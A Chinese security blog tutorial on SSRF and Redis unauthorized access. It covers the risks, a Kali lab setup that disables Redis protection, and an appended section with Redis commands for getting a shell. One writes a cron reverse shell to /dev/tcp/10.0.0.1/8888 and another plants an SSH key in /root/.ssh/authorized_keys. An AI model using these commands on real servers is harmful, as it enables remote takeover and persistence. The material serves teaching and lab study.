SSRF漏洞——redis

本文介绍Redis作为缓存数据库的特性,探讨其未授权访问的安全风险,包括敏感信息泄露、数据清除及SSH公钥注入等。并演示如何在Kali环境下搭建Redis服务器,配置及启动过程。

Redis介绍

Redis是一个开源的使用ANSI C语言编写,支持网络,可基于内存亦和持久化的日志型,Key-Value数据库,并提供多种语言的API,通常被称为数据结构服务器。
通常点来说就是一个数据库,像这样的Redis经常用来去存放一些缓存,缓存文件之类的。

那么Redis通常会引发一些未授权的漏洞。
Redis因为配置不当可以未授权访问,攻击者不需要认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可以通过eval执行LUA代码或者通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份去运行,可以给root账号写入SSH公钥文件,直接通过SSH登录受害者服务器。

通常来说如果对方真的有Redis未授权我们就可以进一步去利用SSRF漏洞来去操作他内网的Redis,达到getshell的目的。

Redis环境搭建

这里我们搭建环境是直接在本机kali上去搭建。

首先我们需要去下载安装包。 wget http://download.redis.io/releases/redis-4.0.11.tar.gz

我们下载好这个安装包以后,我们需要上传到kali上面去的,然后我们就要去进一步的解压这个安装包。

在这里插入图片描述
解压安装包:tar-zxvf redis-4.0.11.tar.gz

解压以后我们在cd redis-4.0.11 # 这个目录里面去。
然后在make去执行 #编译
如果我们安装出现gcc错误,那么我们可以通过apt,在去安装gcc (apt-get install gcc),安装过后在去执行这个编译(make MALLOC=libc)就行了。

接下来我们去定位一下我们的这个Redis

在这里插入图片描述
启动我们的Redis,我们可以去到这个src目录下方去启动,/redis-server就可以启动了。

在这里插入图片描述
在这里我们还需要去做一下相关的修改配置,我们先vim redis的这个配置文件。
文件设置如下:

1、注释掉该ip地址,表示允许所有网络地址访问#bind 127.0.0.1
2、修改运行时不受保户 prorecred-mode no
3、修改为守护进程/后台程序(不需要进行这个操作,数据只会在后台运行时会保存,关闭将清空)daemonize yes
4、切换到src目录:cd src 启动客户端:./redis-cli 修改运行时不受保护,#config set protected-mode no 设置密码 #config set requirepass password

这个时候我们重新启动一下我们的客户端,然后我们就可以直接看到,ip地址和端口和上面的是一样的。

这个就是一个未授权访问,我们是没有输入账号和密码,就能够去访问到这个redis数据库

在这里插入图片描述

以上就是今天给大家讲解的srf漏洞中的redis,redis环境搭建和相关介绍。如果讲解不对的地方,多多担待。需要工具的也可以私聊我留言。

### SSRF 漏洞Redis 未授权访问漏洞的联动情况 SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞允许攻击者通过服务器向任意目标发起请求。而 Redis 未授权访问漏洞指的是 Redis 服务没有进行身份验证,攻击者可以直接访问并操作 Redis 数据库。 当一个存在 SSRF 漏洞的服务器可以访问 Redis 服务时,攻击者就可以利用 SSRF 漏洞让服务器向 Redis 服务发起恶意请求。例如,攻击者可以构造特殊的请求,通过 SSRF 漏洞使服务器向 Redis 服务发送命令,进而执行任意 Redis 命令,如写入数据、修改配置等,最终可能导致 Redis 服务器被控制,造成数据泄露、系统被入侵等严重后果。 ### Redis 未授权获取 shell 的几种方式 #### 利用 Redis 写文件功能 如果目标服务器的 Redis 服务以具有足够权限的用户运行,攻击者可以通过 Redis 的 `CONFIG SET` 命令修改 Redis 的配置,将持久化文件的路径和文件名设置为可执行文件的路径,再使用 `SET` 命令写入恶意代码,最后通过 `SAVE` 命令将数据持久化到文件中,当系统执行该文件时,攻击者就可以获得 shell。示例命令如下: ```plaintext # 设置 dir 为可执行文件目录 CONFIG SET dir /var/spool/cron/ # 设置 dbfilename 为定时任务文件 CONFIG SET dbfilename root # 写入反弹 shell 命令 SET x "\n* * * * * bash -i >& /dev/tcp/10.0.0.1/8888 0>&1\n" # 保存数据 SAVE ``` #### 利用 SSH 密钥写入 攻击者可以将自己的 SSH 公钥写入 Redis,然后将其保存到目标服务器的 `authorized_keys` 文件中,这样攻击者就可以通过 SSH 密钥登录到目标服务器,从而获得 shell。示例命令如下: ```plaintext # 设置 dir 为 SSH 目录 CONFIG SET dir /root/.ssh/ # 设置 dbfilename 为 authorized_keys CONFIG SET dbfilename authorized_keys # 写入 SSH 公钥 SET x "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... your_public_key" # 保存数据 SAVE ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值